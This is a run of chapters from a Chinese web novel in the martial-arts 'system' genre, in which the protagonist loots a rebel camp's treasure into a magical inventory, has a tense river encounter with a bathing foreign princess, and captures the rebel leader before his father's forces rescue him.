火光冲天而起,无数支火箭如同流星火雨般射入营地,瞬间点燃了帐篷和辎重!
整个叛军营地彻底炸开了锅!
“怎么回事?!”
“哪里来的敌人?!”
“是大夏官军杀来了吗?快起来!迎敌!”
沉睡中的叛军士兵被惊惶地唤醒,衣衫不整地抓起兵器,乱哄哄地涌出营帐,场面极度混乱!
江凡心中猛地一沉!
暗骂一声晦气!
怎么偏偏在这个时候!
他立刻伏低身形,藏身于一架废弃的辎重车后,锐利的目光扫视战场。
只见营地外围,不知何时出现了黑压压一大片人影,怕是有上千之众!
这些人个个黑衣蒙面,手持利刃,动作迅捷,配合默契,如同潮水般向营地发起了猛攻!
他们攻势凌厉,见人就砍,手段狠辣,绝非乌合之众的土匪,分明是训练有素的精锐之师!
更让江凡心惊的是,他在那些黑衣人中,清晰地感知到了至少四、五道强大的气息!
其中两道,赫然是大宗师级别!
还有数道,也是宗师后期、巅峰的修为!
这等阵容,足以横扫一支普通的军队!
叛军首领和那两位坐镇的大宗师高手也被惊动,从中军大帐中冲出。
首领是一名身材魁梧、面容凶悍的中年蛮将,他看着混乱的营地和外围凶悍的敌人,又惊又怒,厉声喝道:
“你们是什么人?!敢来劫我大营?!”
第100章 携宝大逃亡
黑衣人中,一名首领模样的蒙面人越众而出,声音沙哑低沉:
“哼!此山是我开,此树是我栽!要想从此过,留下买路财!识相的,留下所有钱财物资,滚出南蛮地界!否则,鸡犬不留!”
话虽俗套,但那语气中的杀意却毫不掩饰。
“放屁!”叛军首领气得暴跳如雷,
“老子在这一带混了十几年,从没听说过有你们这号土匪!藏头露尾的鼠辈!想要老子的财宝?拿命来换!”
他看出对方是冲着那批刚运到的财宝来的,如何肯答应?
“杀!”蒙面首领不再废话,大手一挥!
“杀——!”
上千黑衣人如同嗜血的狼群,发起了更猛烈的冲锋!
两名大宗师级别的黑衣人,一左一右,直接找上了叛军首领和他身边的一名大宗师护卫,瞬间战作一团!
真气碰撞的轰鸣声、兵刃交击的刺耳声、临死前的惨嚎声,响彻夜空!
大战彻底爆发!
整个营地变成了血腥的修罗场!
“好机会!”
江凡眼中精光爆射!
混乱!前所未有的混乱!
这正是他梦寐以求的时机!
所有人的注意力都被突如其来的强敌吸引,谁还会在意宝库那边?
他不再犹豫,身形在混乱的战场边缘急速穿梭,避开交战的人群,几个起落便冲到了那几十辆满载财宝的大车旁!
这里原本的守卫,大部分已被调去迎敌,只剩下寥寥数人,也正紧张地望着远处的战团。
“什么人?!”
一名守卫发现了疾驰而来的江凡,厉声喝问。
江凡根本不答话,身形如电,瞬间欺近,手起掌落,直接将那名守卫劈晕!
同时,他心念急动:【系统!收取!】
精神力覆盖住最近的一辆大车!
嗖——!
仿佛变戏法一般,那辆堆满金砖银锭的大车,瞬间在原地消失得无影无踪!
只留下地面浅浅的车辙印!
成了!
江凡心中狂喜!
系统空间果然给力!
他毫不停留,扑向第二辆、第三辆…
所过之处,一辆辆满载财宝粮草的大车接连消失!
这诡异的一幕,在震天的喊杀声中,竟一时未被察觉!
当他收到第五辆车时,终于有人发现了异常!
“鬼…鬼啊!宝…宝物不见了!!”
一名偶然回头的叛军小头目,眼睁睁看着一辆大车在眼前凭空消失,吓得魂飞魄散,发出见了鬼般的尖叫!
这一声尖叫,瞬间引起了附近几名高手和那名蒙面黑衣首领的注意!
“怎么回事?!”
“宝物呢?!”
“是那小子!抓住他!”
混战中,终于有人指向了正在‘疯狂扫货’的江凡!
刹那间,数道凌厉的目光和杀气锁定了江凡!
离得近的几名叛军宗师和黑衣人宗师,不约而同地舍弃了对手,怒吼着扑向江凡!
就连正在激战的两名大宗师,也分出一丝心神关注这边!
“暴露了!”
江凡心头一凛,但手上动作更快!
【收取!收取!收取!】
他拼尽全力,将剩下的大车以最快的速度扫入系统空间!
当他将最后一袋粮食收入空间时,七八道强悍的攻击已从四面八方袭来!
双方大战在一起,都是为了这些物资财富,没想到被人摘了桃子,怎能不怒?
掌风、刀气、剑气,交织成一张死亡之网,将他所有退路封死!
“妈的!拼了!”
江凡眼中闪过一丝狠色!
真气瞬间运转到极致!
同时,身体如同炮弹般向前猛冲,硬生生撞向正面袭来的一名叛军宗师!
嘭——!
江凡不闪不避,用后背硬接了侧面和后面的数道攻击,防御真气剧烈波动,喉头一甜,喷出一小口鲜血,但冲击的速度却骤然加快!
而正面那名叛军宗师,被他这不要命的打法撞得胸骨碎裂,倒飞出去!
借这一撞之力,江凡冲出了包围圈,头也不回地朝着营地外围的黑暗山林亡命狂奔!
【浮光掠影】身法催动到极致,速度快得只剩下一道模糊的残影!
“追!别让他跑了!”
“宝物一定在他身上!”
“杀了他!”
身后传来叛军首领、蒙面首领以及众多高手的惊怒交加的咆哮声!
数十道身影如同附骨之蛆,紧追不舍!
其中更是包括那两名暂时停手、怒火冲天的大宗师!
江凡心中叫苦不迭,这下乐子大了!
不仅叛军追他,连那伙神秘的‘
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土匪’也把他当成了目标!
他专门往地形复杂、林木茂密的地方钻,试图甩开追兵。
但身后那两名大宗师的气息牢牢锁定着他,距离在不断拉近!
这样下去,迟早被追上!
必须想办法摆脱锁定!
江凡目光急扫,忽然听到前方传来水声!
是条大河!
他心中一动,有了主意!
拼尽全力冲向水声传来之处!
很快,一条宽阔湍急、在月光下泛着粼粼波光的大河出现在眼前!
“噗通!”
江凡毫不犹豫,一个猛子扎进了冰冷的河水之中!
入水瞬间,【神级水性】全力发动,身体顺着湍急的水流,瞬间潜入河底。
同时【敛息诀】运转到极致,将周身所有气息彻底收敛,随着暗流向下游急速漂去!
几乎在他入水的同时,两道强悍的身影落在了河岸边,正是那两名追击的大宗师!
他们感受着河中湍急的水流和空无一物的气息,脸色变得极其难看!
“混账!让他跑了!”
“搜!沿河两岸给我搜!他肯定还在水里!”
“发信号!调集人手,封锁上下游百里河道!”
气急败坏的怒吼声在河岸上空回荡。
大批追兵赶到,开始沿河搜索。
而此时,江凡早已顺着汹涌的暗流,不知漂出了多远。
他屏住呼吸,将身体机能降到最低,任由水流带动。
不知过了多久,也许是一炷香,也许更久,江凡感觉水流的速度渐渐平缓下来,周围的水温也不再那么冰冷刺骨。
他估摸着已经远离了包围圈,便小心翼翼地控制着身体,缓缓向上浮去。
“哗啦…”
他悄无声息地冒出头,贪婪地吸了一口新鲜空气。
月光洒在河面上,四周一片寂静,似乎是一处河湾浅滩,水流平缓。
他抹了把脸上的水珠,正准备观察一下岸上的情况,找个地方上岸——
然而,当他视线清晰的那一刻,整个人瞬间僵在了水里,大脑一片空白!
就在他正前方,不足三丈远的水面上,月光下,赫然有着另一道身影!
那是一个女子!
一个不着片缕、正在沐浴的女子!
他顿时愣住了:这特喵是我不花钱就能看的?
第101章 严重夜盲症
只见眼前的女子,青丝湿漉漉地披散在光滑如玉的背上。
水面之下,隐约可见惊心动魄的窈窕曲线。
月光如水,勾勒出她侧脸完美无瑕的轮廓,美的令人窒息!
那女子似乎也刚刚从水中浮起,恰好侧过头来——
四目相对!
空气仿佛在这一刻凝固!
时间静止了足有两三息!
江凡能清晰地看到,那双原本带着几分慵懒和惬意的美眸,在看清他这个突然冒出来的的陌生男子后,先是瞬间的茫然,随即化为滔天的怒火和杀意!
“淫贼!受死!!!”
一声羞愤的娇叱刺破夜空!
那女子玉手猛地一拍水面,激起漫天水花,一道掌风携着雷霆万钧之势,向江凡的面门狠狠拍来!
掌风所过之处,连空气都发出了‘咔咔’的冻结声!
先天后期!
江凡:“!!!”
我擦,今天出门没看黄历?
不过这位绝色美女显然脾气不怎么好...
电光石火之间,江凡根本来不及思考这荒郊野岭、深更半夜为何会有个绝色美女在此沐浴!
就在那掌风即将拍碎他面门的刹那,江凡体内《混元一气诀》轰然运转,宗师中期的真气后发先至!
他并指如电,精准无比地点向了女子胸腹间的几处大穴!
“嗯…”
女子闷哼一声,拍出的掌风骤然溃散。
娇躯一僵,周身真气瞬间滞涩,整个人保持着拍掌的姿势,僵在了齐胸深的水中,美眸死死地瞪着江凡。
宗师高手!
她眼神有愤怒,也有绝望,没想到水里会突然冒出这么个高手。
早知道先穿上衣服了...
江凡一击得手,也没有下**,毕竟有些理亏。
他连忙挤出一个自认为和善的表情,压低声音说道:
“姑娘,误会!在下被人追杀,慌不择路潜入水中,绝非有意冒犯!若有失礼之处,万望海涵!在下这就离开,你我井水不犯河水,就此别过!”
穴道最多半个时辰能自己解开,倒是不担心女子在水里遇到危险。
然而,他话音刚落,敏锐的神识便感知到数道不弱的气息正急速靠近!
至少有四名先天高手!
很可能是追兵,或者是这女子的护卫!
糟了!
不能暴露!
江凡心中叫苦,眼神瞬间变得凌厉,凑近那无法动弹的女子耳边,传音道:
“姑娘,得罪了!在下无意伤你,但若你手下之人发现异常,在下为求自保,说不得…只能先送姑娘上路了!
现在,我解开你的穴道,你让他们离开!否则…休怪我心狠手辣!”
话语中的杀意,毫不掩饰!
说完,他躲在女子身后的水中,手指在女子后背要穴轻轻一拂,解开了她的禁锢。
但指尖却抵在她背心要害之处,真气含而不发,既是警告,也是威慑——
只要她敢有异动,瞬间便可震碎其心脉!
女子身体微微一颤,被封堵的真气重新流转,但她能清晰地感受到背后那根手指蕴含的恐怖力量,以及那冰冷杀意!
她毫不怀疑,只要自己稍有异动,立刻就会香消玉殒!
她死死咬住下唇,绝美的脸庞上神色变幻不定,羞愤、**、恐惧交织在一起。
就在这时,岸上传来几名女子焦急的呼唤声:
“殿下!殿下您没事吧?”
“刚才听到这边有动静!”
“禀殿下,计划有变!叛军营地突然出现神秘高手,所有财物不翼而飞!现在叛军和…和我们的人都在追杀那个神秘人!”
水中的女子闻言,娇躯微微一震,眼角的余光飞快地扫了一眼身后只露出半个脑袋的江凡,心中瞬间明了!
那个搅局、劫走巨额财宝的神秘人,就是身后这人?
这个看了自己身子、还敢威胁自己的登徒子?
她心思电转,瞬间做出了决断。
她深吸一口气,强行压下心中的惊涛骇浪和**感,尽量让声音听起来平静:
“慌什么!本宫在此静修,能有什么事?不过是条不开眼的水蛇惊了驾而已!已经被本宫处理了!”
她顿了顿,语气转冷:
“任务失败,乃天意如此,非战之罪!传本宫命令,所有人立即撤退,停止搜寻!不得有误!”
“可是…殿下!那批财物…”
岸上的女护卫似乎有些犹豫。
“闭嘴!”
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公主厉声打断,语气中带着威严,
“本宫的话,没听清吗?立刻撤退!违令者,斩!”
她必须尽快打发走手下,否则身后这个煞星真可能狗急跳墙!
而且对方的手指还顶住自己后背,让她羞愤欲死。
“…是!殿下!”
岸上的护卫被公主的威严所慑,不敢再多言,迅速退去,脚步声渐行渐远。
直到确认岸上的人彻底离开,周围再无其他气息,江凡才长长地舒了一口气,抵在公主背心的手指也缓缓收了回来。
危机暂时解除。
他不敢直视对方,只能侧过身子,对着水面抱拳,语气诚恳中带着几分歉意:
“多谢姑娘…呃,多谢殿下出手相助!在下情非得已,多有得罪,还望殿下海涵!”
他此刻才反应过来,对方刚才自称‘本宫’,又被称为‘殿下’,身份定然尊贵无比,恐怕是南蛮国的皇族!
这下篓子捅得更大了!
幸好自己还易了容,以后应该找不到自己。
南蛮公主缓缓转过身,月光下,她已重新沉入水中,只露出白皙的脖颈和一张倾国倾城的俏脸。
她看着江凡那副手足无措的窘迫模样,原本满心的羞愤和杀意,不知怎的,竟消散了几分,反而生出一丝莫名的趣味。
这家伙,好像真的不是什么登徒子,还算有礼貌。
她冷哼一声,声音依旧清冷:
“哼!看了本宫的身子,一句‘情非得已’、‘海涵’就想揭过?天下哪有这般便宜的事?”
她美眸流转,落在江凡那易容后的侧脸上,话锋突然一转,带着一种决绝的凄然,
“你走吧。今日之后,本宫…已无颜苟活于世。”
说完,竟真的闭上美眸,一副引颈就戮、心灰意冷的模样。
江凡一听,头皮都麻了!
这公主怎么不按常理出牌?
刚才还冷静地下令撤退,转头就要死要活的?
他连忙摆手,急声道:
“殿下!万万不可!在下…在下刚才真的什么都没看清!实不相瞒,在下自幼患有严重的…夜盲症!
一到晚上,视力模糊,三尺之外,人畜不分!我根本没有看到姑娘的身子...”
第102章 你跑不掉的
江凡情急之下,开始胡诌。
只是这借口蹩脚得连他自己都不信。
果然,南蛮公主睁开美眸,似笑非笑地瞥了他一眼,那眼神仿佛在说:编,继续编,你看本宫像三岁小孩吗?
江凡老脸一红,尴尬地咳嗽两声。
公主却不依不饶,语气带着一丝狡黠:
“既然你坚称是误会,本宫也不是不讲道理之人。给你两个选择:一,你现在就杀了本宫,一了百了;二…”
她顿了顿,声音带着一丝异样,
“你娶了本宫。如此,今日之事,便算不得辱没清白,本宫也可苟活于世。你…选吧。”
江凡:“!!!”
他差点一口老血喷出来!
娶…娶你?!
不就是被看了身子,至于吗?
又不会少块肉...
他连忙把脑袋摇得像拨浪鼓:
“万万不可!殿下金枝玉叶,在下…在下粗鄙不堪,实在高攀不起!况且…况且在下家中已有未婚妻,父母之命,媒妁之言,岂能悔婚再娶?”
他赶紧把周婉如拉出来当挡箭牌。
“未婚妻?”
公主柳眉一挑,眼中闪过一丝冷芒,
“她是谁?身在何处?你告诉本宫,本宫派人去杀了她。她**,你便没有未婚妻了。”
她说得轻描淡写,但那话语中的杀意却让江凡脊背一凉!
这公主…好生霸道!
好病态的占有欲!
江凡额头冒汗,心中庆幸自己还有易容术,赶紧道:
“殿下说笑了!在下与未婚妻青梅竹马,两小无猜,感情深厚!岂能因一误会而害她性命?此事绝无可能!”
见江凡拒绝得如此干脆,公主眼中闪过一丝失望,但随即又被好奇所取代。
她不再逼迫,转而问道:
“那你究竟是何人?潜入南蛮,劫走叛军财物,意欲何为?”
她终于问到了关键。
江凡心中警铃大作,面上却不动声色。
他心念电转间,清了清嗓子,故作淡然道:
“在下…行不更名,坐不改姓,萧遥便是。”
他报出了之前应付靖王时用过的化名。
“萧遥?”
公主喃喃念了一遍,忽然,美眸骤然亮起,紧紧盯住江凡,语气惊喜:
“萧遥?!你…你就是那个著写《深宫秘恋》、名动大夏的…逍遥公子?!”
江凡没想到,自己的话本连这个南蛮公主都知道,看样子还是自己的粉丝。
嗯,或许每天的人气值里,就有她一份。
“虚名而已,不足挂齿。正是在下。”
“果然是你!”公主脸上瞬间绽放出笑容,
“难怪!难怪你能神不知鬼不觉地盗走那么多财宝!还能提前预知叛军有难!今夜话本中所谓‘神罚’,财物‘不翼而飞’。原来都是公子你为自己行事埋下的伏笔!真是…神乎其技!”
她看向江凡的目光,充满了惊叹、崇拜和浓厚的兴趣。
江凡被她说破算计,老脸微红,干笑两声:
“殿下过奖了,雕虫小技,侥幸,侥幸而已。”
“公子过谦了。”
公主笑意盈盈,忽然又旧事重提,语气却柔和了许多,
“逍遥公子才华冠绝当世,智谋超群,更是修为高深。如此人物,岂能屈就于一寻常女子?方才本宫的提议,公子不妨再考虑考虑?
我南蛮虽小,但物产丰饶,若公子愿为驸马,必受重用,权倾朝野,岂不胜过在大夏做一个…逍遥散人?”
她开始利诱了。
江凡心中警兆更甚,这公主心思玲珑,手段百出,绝非易与之辈!
他连忙正色道:
“殿下厚爱,萧某心领!然萧某乃夏人,心向故国。且闲云野鹤惯了,受不得拘束。
驸马之位,实难从命!今夜之事,纯属误会,殿下身份尊贵,还望以国体为重,勿要因小失大。”
他顿了顿,语气转为严肃,带着一丝警告的意味,
“另外,萧某斗胆劝谏殿下,乃至南蛮国主。叛军乃大夏心腹之患,若南蛮执意收留庇护,甚至暗中资助,无异于玩火**!
届时,大夏天兵所指,恐非南蛮之福!望殿下…三思而后行!”
他趁机点明利害关系,试图敲打对方。
公主闻言,秀眉微蹙,沉默片刻,忽然抬眼,目光灼灼
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地盯着江凡:
“那些财物…果然在你手中,对否?”
江凡不置可否,既不承认,也不否认,只是淡淡道:
“取不义之财,济该济之人。至于最终归属,要看南蛮如何选择了。”
他这话,等于默认了。
公主深深看了他一眼,眼中神色复杂难明。
有欣赏,有忌惮,有不甘,还有一丝悸动。
这个神秘、强大、机智又带着几分‘可恶’的正直的男人,让她生平第一次,产生了如此强烈的探究欲和征服欲。
“公子之言,本宫记下了。”她最终幽幽一叹,
“今日之事…本宫可以当作从未发生。公子…请便吧。”
她侧过身,让开了水路。
江凡如蒙大赦,抱拳一礼:
“殿下深明大义,萧某佩服!告辞!但愿…后会无期!另外...在下眼神真的不好,也没看清你胸口的痣...”
说完,他不再犹豫,身形一动,重新潜入水中,朝着下游方向迅速遁去,几个起伏,便消失在黑暗的河道拐角处。
“魂淡!”
南蛮公主红着脸请啐一声,心中的恼怒竟然烟消云散。
她独自伫立在河水中,望着江凡消失的方向。
月光洒在她绝美的侧脸上,映出一丝怅然若失,又带着几分势在必得的复杂笑容。
“逍遥公子…萧遥…我们…一定会再见的。看了本宫的身子,就别想逃出本宫的手掌心。”
她话音刚落,突然看到江凡消失的水面上浮着一个东西,于是立即靠近。
“香囊?难道他真有未婚妻,而这个香囊是未婚妻送的?”
说话间,她将香囊凑到鼻息间闻了一下,感觉不是普通的香味,而是精心调配的。
“来人!”
当几位女子快速靠近,她将香囊扔过去说道:
“帮我查出这种香味什么人在使用!”
“是!”
属下虽然好奇,但也不敢多问,很快有人拿着香囊离开。
而南蛮公主却露出个笑容,看着已经恢复平静的水面轻轻开口:
“你跑不掉的,无论你是谁,本宫一定要找到你...”
第103章 绝佳的地点
江凡顺着暗流向下游飞速潜行。
直到确认彻底远离了那片是非之地,感知范围内再无追兵的气息,他才小心翼翼地浮出水面,换了一口气。
“好险…差点就栽在一个洗澡的女人手里…”
江凡心有余悸地拍了拍胸口,回想起刚才那香艳又致命的一幕,依旧觉得有些不真实。
南蛮公主…性情如此捉摸不定…
这南疆的水,比想象中还要深!
幸好自己有易容术,她之后肯定找不到自己。
他不敢久留,迅速游到对岸,找了一处隐蔽的河滩上岸。
运功蒸干衣物,他检查了一下自身状况。
系统空间里那堆积如山的金银财宝和粮草,让他心中大定!
这笔横财,足以解边军燃眉之急。
但眼下,还不是回去庆功的时候。
叛军首领未除,始终是心腹大患。
而且,自己劫走财宝,必须尽快了结此间事,然后远走高飞,让‘萧遥’这个马甲彻底消失!
他眼中寒光一闪,有了决断——杀个回马枪!
趁叛军混乱搜寻之际,实施斩首行动!
干掉叛军首领,永绝后患!
他再次施展【易容术】,这次,他选择了一个面相普通的叛军小头目的模样。
他将自身气息完美压制在先天初期,看起来与一个惊魂未定的溃兵毫无二致。
做好准备后,他重新潜入山林,朝着记忆中的叛军营地方向摸去。
此时的叛军营地,早已是一片狼藉。
大火虽已被扑灭,但焦黑的断木、散落的兵器和尚未清理的尸体,无不诉说着昨夜激战的惨烈。
营中气氛压抑,幸存的叛军士兵个个面带惶恐,三五成群地聚在一起,低声议论着神秘的**和那诡异消失的财宝。
几名宗师高手正脸色铁青地指挥着人手,一部分清理营地,一部分扩大搜索范围,试图找到那个‘神秘人’的蛛丝马迹。
江凡混在人群中,低着头,模仿着其他人惊魂未定的神态,耳朵却竖得老高,收集着零散的信息。
“…妈的!到底是谁干的?那么多财宝,说没就没了!”
“听说是个会妖法的高手,能凭空收物!”
“放屁!肯定是用了什么我们不知道的机关或者障眼法!”
“首领快气疯了!发誓要扒了那家伙的皮!”
“两位**大人已经带人往上下游追去了…”
“首领亲自带人搜查东面的黑风林了,说活要见人,死要见尸!”
黑风林?
江凡心中一动,记下了这个地点。
叛军首领亲自出马,护卫力量必然分散,正是下手良机!
他不动声色地朝着营地东面移动。
果然,越靠近东面,巡逻的士兵越多,气氛也越发紧张。
穿过一片凌乱的营区,前方出现了一片茂密幽暗的原始森林,正是黑风林。
林外有数十名精锐士兵把守,林内隐隐传来呼喝搜索之声。
江凡正愁如何混进去,恰好看到一名小头目模样的叛军,骂骂咧咧地带着几个垂头丧气的士兵从林子里出来,似乎是一无所获。
那小头目冲着林外喊道:
“再进去一队!给老子搜仔细点!连个老鼠洞都别放过!”
机会!
江凡立刻装作匆忙赶到的样子,跑到那小队末尾,低着头,混入了正准备进入林子的一支十人小队中。
带队的小队长看了他一眼,见是生面孔,皱了皱眉,但此刻人心惶惶,人员杂乱,也懒得细问,挥挥手便带着人钻进了林子。
林内古木参天,枝叶蔽日,光线昏暗。
搜索队散开呈扇形向前推进,彼此间靠呼喊联络。
江凡刻意放慢脚步,渐渐落在了队伍最后方。
他神识悄然散开,感知着林中的动静。
很快,他捕捉到了左前方约一里外,有几道强大的气息在移动,其中一道尤为凶戾暴虐,正是叛军首领无疑!
他身边似乎只跟着两三名亲卫,那两位大宗师**果然不在附近!
天赐良机!
江凡心中暗喜,立刻脱离小队,借着树木的掩护,悄无声息地朝着那股气息摸去。
不多时,
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他便看到了目标。
叛军首领屠燎一个身材高大、满脸横肉、眼神凶悍的蛮族壮汉,正带着三名先天境的亲卫,在一处乱石堆附近仔细搜查。
屠燎脸色阴沉得能滴出水来,口中不住咒骂:
“**!别让老子抓到你!否则定将你抽筋扒皮,点天灯!”
江凡屏住呼吸,将【敛息诀】运转到极致,缓缓靠近。
他需要找一个最佳的攻击角度和时机,务必一击必杀,或者至少重创,不能给他任何呼救或反抗的机会。
就在他距离屠燎不足二十步,准备暴起发难时,屠燎似乎察觉到了异常,猛地转头,目光扫向江凡藏身的方向,厉声喝道:
“谁在那里?鬼鬼祟祟的,给老子滚出来!”
江凡心中一惊,知道不能再等!
他当机立断,装作被吓破胆的样子,连滚带爬地从树后跑出来,声音颤抖带着哭腔:
“首…首领饶命!是…是小人!小人怕黑…听到动静,以为…以为有野兽…”
屠燎看清是个吓得屁滚尿流的小兵,戒心稍减,但怒火更盛,骂道:
“没用的废物!怕黑?老子看你是心里有鬼!说!是不是你勾结外人,劫走了老子的财宝?!”
他大步上前,一脚踹在江凡肩膀上,力道不小。
江凡顺势‘哎哟’一声滚倒在地,心中冷笑,脸上却挤出更多的恐惧:
“首领明鉴!借小人一万个胆子也不敢啊!小人…小人是担心首领安危,这林子邪门得很,怕有埋伏…”
“放**屁!老子需要你担心?”
屠燎骂了一句,但看着江凡那‘怂包’样,疑心去了大半,不耐烦地挥挥手,
“滚起来!跟紧老子!再去前面那片荆棘丛看看!要是再磨磨蹭蹭,老子先宰了你!”
“是是是!谢首领不杀之恩!”
江凡连忙爬起来,低眉顺眼地跟在屠燎身后,朝着那片更加茂密的荆棘丛走去。
那三名亲卫也紧随其后。
机会来了!
荆棘丛地形复杂,视野受阻,正是动手的绝佳地点!
第104章 有国士之姿
四人深一脚浅一脚地踏入荆棘丛。
屠燎一边用刀劈砍荆棘,一边骂骂咧咧。
江凡紧跟在他身后,垂下的右手悄然并指,体内《混元一气诀》悄然运转,真气凝聚于指尖,蓄势待发!
就在屠燎弯腰拨开一丛带刺灌木,注意力被分散的刹那——
“死!”
江凡眼中杀机暴涨!
一直压抑的气息轰然爆发!
他身形如鬼魅般前窜,右手食指中指并拢,快如闪电,直刺屠燎后心要害大穴!
这一指,蕴含了他十成的功力,更是蕴含了一丝【破罡】属性!
“嗯?!”
屠燎毕竟是宗师后期高手,生死关头,感应到了致命的危机!
他骇然变色,想要转身格挡已然不及,只能拼命催动护体罡气,同时身体竭力向前扑去,试图避开要害!
“噗嗤!”
一声轻微的声响!
江凡的指尖,轻易地撕裂了屠燎仓促间布下的护体罡气,点在了他的背心要穴之上!
“啊——!”
屠燎发出一声凄厉无比的惨叫,只觉得一股毁灭性的力量瞬间侵入体内,疯狂摧毁着他的经脉和脏腑!
他前扑的动作戛然而止,一口夹杂着内脏碎块的鲜血狂喷而出,整个人软软地向前栽倒!
“首领!!”
“有刺客!”
身后的三名亲卫这才反应过来,惊骇欲绝,纷纷怒吼着拔刀扑上!
“哼!蝼蚁!”
江凡冷哼一声,看也不看,反手一掌拍出!
掌影漫天,如同狂风扫落叶!
“砰砰砰!”
三声闷响,三名先天境的亲卫连人带刀被拍得倒飞出去,撞在荆棘丛中,筋断骨折,瞬间毙命!
电光石火之间,叛军首领屠燎重伤濒死,三名亲卫全灭!
江凡不敢怠慢,一步上前,五指扣住屠燎的脖颈,将他提了起来。
同时,另一只手连连点出,封住他周身大穴,连其丹田气海也一并封死,彻底废其修为,免得他临死反扑或自爆。
屠燎面如金纸,气息奄奄,眼中充满了恐惧和难以置信,死死瞪着江凡易容后的脸,嘶声道:
“你…你到底…是谁…”
江凡懒得跟他废话,提着他,转身就向林子外疾驰!
必须趁那两位大宗师**被惊动返回之前,冲出黑风林,赶回大夏边境!
然而,他刚冲出荆棘丛,就感觉到两股恐怖的气息朝着黑风林急速逼近!
正是那两位大宗师**!
他们显然感应到了首领遇袭时爆发出的强烈真气波动!
“不好!”
江凡脸色一变,将【浮光掠影】身法催动到极致,也顾不得掩饰行踪了,化作一道青烟,朝着记忆中的边境方向亡命狂奔!
手中提着一个人,速度终究受到了影响。
“贼子休走!”
“放下首领!”
身后传来惊怒交加的咆哮声,那两道恐怖的气息锁定了江凡,紧追不舍,距离在迅速拉近!
大宗师的速度,远非宗师可比!
江凡心中焦急,一边狂奔,一边飞快地思索对策。
硬拼是绝对打不过的!
甩又甩不掉!
难道…真要砍下屠燎的脑袋,减轻负重,独自逃生?
可活捉叛军首领,功劳更大,对朝廷、对父亲的边军士气也更重要!
就在身后追兵已近在咫尺,凌厉的掌风几乎要触及后背的千钧一发之际——
“凡儿莫慌!爹在此!”
“大胆贼寇!敢犯我大夏边境!杀无赦!”
几声怒喝,从边境方向轰然传来!
紧接着,数道强横无比的气息冲天而起,如同利剑般射来!
为首一人,身材魁梧,手持镔铁**,不是镇国公江撼岳又是谁?!
他身后,紧跟着两名皇宫大宗师供奉,以及数名边军中的宗师将领!
原来,江撼岳虽在营中养伤,但一直心系独自潜入敌境的儿子,派出了大量斥候密切关注边境动向。
当黑风林方向传来大宗师级别的真气波动时,他立刻意识到儿子可能遇到了**烦,不顾伤势,亲自率领营中所有高手,火速前来接应!
“爹!”
江凡看到父亲熟悉的身影,心中大喜,精神大振!
“轰!轰!”
江撼岳人未至,手中**已化作两道惊天枪芒,隔空轰向追击江凡的那两名大宗师**!
枪芒凌厉无匹,蕴含着沙场悍将一往无
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前的惨烈杀气!
那两名大宗师**没想到大夏边军反应如此迅速,高手尽出,感受到枪芒中蕴含的恐怖力量,脸色剧变,不得不停下脚步,运功抵挡!
“嘭!嘭!”
气劲交击,发出震耳欲聋的巨响!
山林震荡,草木纷飞!
借着这个空隙,江凡身形一闪,终于冲到了父亲等人面前,将手中半死不活的屠燎往地上一扔,气喘吁吁地道:
“爹!幸不辱命!叛军首领屠燎,已被孩儿生擒!”
江撼岳一步上前,扶住儿子,虎目飞快地扫过江凡全身。
见他虽有些狼狈,但气息平稳,并无大碍,这才彻底放下心来。
他看向地上的屠燎,又惊又喜,重重一巴掌拍在江凡肩膀上,声音因激动:
“好!好小子!干得漂亮!生擒叛首,此乃奇功一件!”
那两名皇宫供奉和边军将领也围了上来,看着地上奄奄一息的屠燎,再看向江凡,眼中无不露出震惊和钦佩之色!
孤身潜入敌营,于万军之中生擒敌酋,这需要何等的胆识、实力和运气?
这位以往声名不显的镇国公世子,竟是如此了得的人物?
“国公爷虎父无犬子!世子爷真乃少年英雄!”
“恭喜国公爷!贺喜世子爷!”
众人纷纷道贺,由衷赞叹。
江撼岳听着众人的夸赞,看着身边英挺不凡的儿子,只觉连日来的郁闷和担忧一扫而空!
他仰天大笑,声震四野:
“哈哈哈!好!好!好!我儿江凡,有国士之姿!回营!今日,当犒赏三军,为我儿庆功!”
对面那两名大宗师**,见大势已去,首领被擒,边军高手云集。
互相对视一眼,只得咬牙跺脚,转身化作流光,遁入山林深处。
危机彻底解除。
这时一个副将脸色尴尬的说道:
“国公爷,犒赏三军可能不行,不过我还有一坛珍藏的好酒...”
江凡知道眼下军费紧张,不仅很久没有发军饷,而且很多士兵都快饿肚子了。
他想起储物空间的物资和钱财,肯定不能直接交给老爹。
看来,还是要先藏起来,然后通过话本指示...
第105章 去探探虚实
镇南关大营,帅帐之内。
所谓的‘庆功宴’,气氛远不如想象中热烈。
一张简陋的木桌上,摆着几碟咸菜、一盆炖得稀烂的看不出原貌的肉汤,还有一小坛老酒。
烛火摇曳,映照着围坐几人脸上复杂的神情。
江撼岳坐于主位,虽然儿子生擒叛首令他老怀大慰,但眉宇间的忧色却挥之不去。
他举起陶碗,里面是略显浑浊的酒水,声音有些沙哑:
“来!诸位!今日凡儿立此奇功,挫败叛军阴谋,扬我军威!老夫敬诸位一杯!聊表谢意!”
说罢,仰头一饮而尽,火辣的酒液入喉,却化不开心中的沉重。
两名皇宫供奉和几位边军高级将领连忙举碗相陪,只是碗中酒水浅薄,喝得也有些不是滋味。
放下碗,一名面色黝黑的老将叹了口气,打破了短暂的沉默:
“国公爷,世子爷此次立下大功,本该大庆三日!只是…唉,营中粮草已见底,饷银更是拖欠了数月,兄弟们…都快揭不开锅了。
这庆功宴,实在是…寒酸了些,委屈世子爷和两位供奉大人了。”
他话语中充满了无奈和愧疚。
另一名将领也接口道:
“是啊,国公爷。眼看就要入冬,将士们衣甲单薄,粮饷再不至,恐生变故啊!朝廷…朝廷那边,到底有何说法?”
所有人的目光都集中在了江撼岳身上。
江撼岳握着空碗的手紧了紧,指节有些发白。
他何尝不知军中窘境?
他深吸一口气,沉声道:
“诸位兄弟的难处,老夫深知!朝廷…户部那边,老夫已连上三道八百里加急奏章!陛下圣明,定然不会坐视不理!
待此次回京,老夫便是拼着这项上人头不要,也要为兄弟们讨回粮饷!”
他的话掷地有声,但帐内众人都明白,远水难解近渴,京城官场盘根错节,想要钱粮,谈何容易?
气氛再次沉闷下来。
这时,一位供奉似乎想转移话题,缓和一下气氛,笑着对江凡道:
“说起来,此次能及时预警,化险为夷,多亏了那位神龙见首不见尾的‘逍遥公子’的话本!
若非他提前示警,国公爷恐怕…呵呵,世子爷,您说这位逍遥公子,究竟是哪位隐世高人?竟有如此通天之能?”
提到逍遥公子,帐内众人的兴趣都被提了起来。
另一名将领也感慨道:
